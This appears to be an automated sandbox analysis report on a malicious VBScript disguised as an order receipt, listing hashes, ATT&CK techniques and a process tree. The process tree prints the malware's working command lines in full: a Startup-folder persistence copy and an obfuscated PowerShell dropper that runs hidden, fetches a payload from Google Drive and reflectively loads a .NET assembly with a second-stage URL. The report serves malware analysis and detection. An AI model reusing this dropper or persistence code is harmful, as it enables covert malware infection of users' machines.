9eb00c37db0331a7a0ef2056bda5ffe8fde8d812f4d3f8b54f278ba041cfd2a0

General

Target

order_receipt#277.vbs
Size

138KB
MD5

e845c7177b3fbef4bacea00df938bc28
SHA1

af8f1912ee1d5e2daa119d52537fc09a8316aa4d
SHA256

9eb00c37db0331a7a0ef2056bda5ffe8fde8d812f4d3f8b54f278ba041cfd2a0
SHA512

85c0b69a7f3b615b0796f882620d40c4bc5b8f79b3adffc11cee3b08085879f55c78c81a65671c2701139d4c68c39b27178730241be00a0054c37809936b0043
SSDEEP

1536:Qyb8Rgt5pzGGwEM9cW/9WoOv5xvX7Nvx48bOAobVHL3x:QybOgt5pCGwEM/FWXvnLNvxrbO3bVr3x

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	292	powershell.exe
7	292	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
860	powershell.exe
292	powershell.exe
2752	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cigas.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cigas.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2140	cmd.exe
2800	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2800	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2752	powershell.exe
860	powershell.exe
292	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	860	powershell.exe
Token: SeDebugPrivilege	292	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2792 wrote to memory of 2140	2792	WScript.exe	30
PID 2792 wrote to memory of 2140	2792	WScript.exe	30
PID 2792 wrote to memory of 2140	2792	WScript.exe	30
PID 2140 wrote to memory of 2800	2140	cmd.exe	32
PID 2140 wrote to memory of 2800	2140	cmd.exe	32
PID 2140 wrote to memory of 2800	2140	cmd.exe	32
PID 2140 wrote to memory of 2752	2140	cmd.exe	33
PID 2140 wrote to memory of 2752	2140	cmd.exe	33
PID 2140 wrote to memory of 2752	2140	cmd.exe	33
PID 2792 wrote to memory of 860	2792	WScript.exe	34
PID 2792 wrote to memory of 860	2792	WScript.exe	34
PID 2792 wrote to memory of 860	2792	WScript.exe	34
PID 860 wrote to memory of 292	860	powershell.exe	36
PID 860 wrote to memory of 292	860	powershell.exe	36
PID 860 wrote to memory of 292	860	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\order_receipt#277.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\order_receipt#277.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.sagic.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\order_receipt#277.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.sagic.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCc1ZFlpbWFnZVVybCcrJyA9IDhMVWh0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0cycrJ1VPeWJuSC1zRHZVaEJZd3VyIDhMVTs1ZFknKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OzVkWWltYWdlQnl0ZXMgPSA1ZFl3ZWJDbGllbnQuRG93bmxvYWQnKydEYXRhKDVkWWltYWdlVXJsKTs1ZFlpbWFnZVRleHQgPSBbU3lzdGVtLicrJ1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyg1ZFlpbWFnZUJ5dGVzKTs1ZFlzdGFydEZsYWcgPSA4TFU8JysnPEJBU0U2NF9TJysnVEFSVD4+OExVOzVkWWVuZEZsYWcgJysnPSA4TFU8PEJBU0U2NF9FTkQ+PjhMVTs1ZFlzdGFydEluJysnZGV4ID0gNWRZaScrJ21hZ2VUZXh0LkluZGV4T2YoNWRZc3RhcnRGbGFnKTs1ZFllbmRJbmRleCA9IDVkWWltYWdlVGV4dC5JbmRleE9mKDVkWWVuZEZsYWcpOzVkWXN0YXJ0SW5kZXggLWdlIDAgLWFuZCcrJyA1ZFllbmRJbmRleCAtZ3QgNWRZc3RhcnRJbmRleDs1ZFlzdGFydEluZGV4ICs9IDVkWXN0YXJ0RmxhZy5MZW5ndGg7NWRZYmFzZTY0TGVuZ3RoID0gNWRZZW5kSW5kZXggLSA1ZFlzdGFydEluZGV4OzVkWWJhc2U2NENvbW1hbmQgPSA1ZFlpbWFnZVRleHQuU3Vic3RyaW5nKDVkWXN0YXJ0JysnSScrJ25kZXgsIDVkWWJhc2U2NExlbmd0aCk7NWRZYmFzZTY0UmV2ZXJzZWQgPSAtam9pbicrJyAoNWRZYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIEluZiBGb3JFYWNoLU9iamVjdCB7IDVkWScrJ18gfSlbLTEuLi0oNWRZYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTs1ZFljb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKDVkWWJhc2U2NFJldmVyc2VkKTs1ZFlsb2FkZWRBc3NlbWJseSA9IFtTeScrJ3N0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoNWRZY29tbWFuZEJ5dGVzKTs1ZFl2YWlNZXRob2QgPSAnKydbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDhMVVYnKydBSThMVSk7NWRZdmFpTWV0aG9kLkludm9rZSg1ZFludWxsLCBAKDhMVXR4dC5zZ2EnKydyZXZldHMvanhzbi8xNTEuMTEuNjkxLjU4MS8vOnB0dGg4TFUsIDhMVWRlJysnc2F0aXZhZG84TFUsIDhMVWRlc2F0aXZhZG84TFUsIDhMVWRlc2F0aXZhZG84TFUsIDhMVVJlZ0FzbThMVSwgOExVZGVzYXRpdmFkbzhMVSwgOExVZGVzYXRpdmFkbzhMVSw4TFVkZXNhdGl2YWRvOEwnKydVLDhMVWRlc2F0aXZhZG84TFUsOExVZGVzYXRpdmFkbzhMJysnVSw4TFVkZXNhdGl2JysnYWRvOExVJysnLDhMVWRlc2F0aXZhZG84TFUsOExVMThMVSw4TFVkZXNhdGl2YWRvOExVKSk7JykuckVQTGFjRSgoW0NIQVJdNTYrW0NIQVJdNzYrW0NIQVJdODUpLFtzVFJJTmddW0NIQVJdMzkpLnJFUExhY0UoJzVkWScsJyQnKS5yRVBMYWNFKChbQ0hBUl03MytbQ0hBUl0xMTArW0NIQVJdMTAyKSwnfCcpIHwgJiAoICRTaGVMTGlkWzFdKyRzSGVMTElkWzEzXSsnWCcp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('5dYimageUrl'+' = 8LUhttps://drive.google.com/uc?export=download&id='+'1AIVgJJJv1F6vS4s'+'UOybnH-sDvUhBYwur 8LU;5dY'+'webClient = New-Object System.Net.WebClient;5dYimageBytes = 5dYwebClient.Download'+'Data(5dYimageUrl);5dYimageText = [System.'+'Text.Encoding]::UTF8.GetString(5dYimageBytes);5dYstartFlag = 8LU<'+'<BASE64_S'+'TART>>8LU;5dYendFlag '+'= 8LU<<BASE64_END>>8LU;5dYstartIn'+'dex = 5dYi'+'mageText.IndexOf(5dYstartFlag);5dYendIndex = 5dYimageText.IndexOf(5dYendFlag);5dYstartIndex -ge 0 -and'+' 5dYendIndex -gt 5dYstartIndex;5dYstartIndex += 5dYstartFlag.Length;5dYbase64Length = 5dYendIndex - 5dYstartIndex;5dYbase64Command = 5dYimageText.Substring(5dYstart'+'I'+'ndex, 5dYbase64Length);5dYbase64Reversed = -join'+' (5dYbase64Command.ToCharArray() Inf ForEach-Object { 5dY'+'_ })[-1..-(5dYbase64Command.Length)];5dYcommandBytes = [System.Convert]::FromBase64String(5dYbase64Reversed);5dYloadedAssembly = [Sy'+'stem.Reflection.Assembly]::Load(5dYcommandBytes);5dYvaiMethod = '+'[dnlib.IO.Home].GetMethod(8LUV'+'AI8LU);5dYvaiMethod.Invoke(5dYnull, @(8LUtxt.sga'+'revets/jxsn/151.11.691.581//:ptth8LU, 8LUde'+'sativado8LU, 8LUdesativado8LU, 8LUdesativado8LU, 8LURegAsm8LU, 8LUdesativado8LU, 8LUdesativado8LU,8LUdesativado8L'+'U,8LUdesativado8LU,8LUdesativado8L'+'U,8LUdesativ'+'ado8LU'+',8LUdesativado8LU,8LU18LU,8LUdesativado8LU));').rEPLacE(([CHAR]56+[CHAR]76+[CHAR]85),[sTRINg][CHAR]39).rEPLacE('5dY','$').rEPLacE(([CHAR]73+[CHAR]110+[CHAR]102),'|') | & ( $SheLLid[1]+$sHeLLId[13]+'X')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
61a939d1e4ff9fb695864f703cba91c4

SHA1
9fb24675eaa6a1dfa0fe8924c01fabfbaa5e8946

SHA256
27c4807d2bc7bda1351d92d133f670a51d5e9a7920619abc8a00fc3b0f9e187e

SHA512
ef56ed531e536f376a886347f157ae5a80d38ec7a77502f11eb6e821555a3a4dcfecd659228f892c10331c2e3b80292da385d1d8b08eff2fbe9ee0d1d0147cdd

Download Submit
memory/292-28-0x000000001ACF0000-0x000000001AE4A000-memory.dmp

Filesize
1.4MB

Download
memory/860-19-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download
memory/860-20-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2752-6-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2752-10-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-11-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-12-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-13-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-9-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download
memory/2752-5-0x000007FEF62BE000-0x000007FEF62BF000-memory.dmp

Filesize
4KB

Download
memory/2752-8-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/2752-7-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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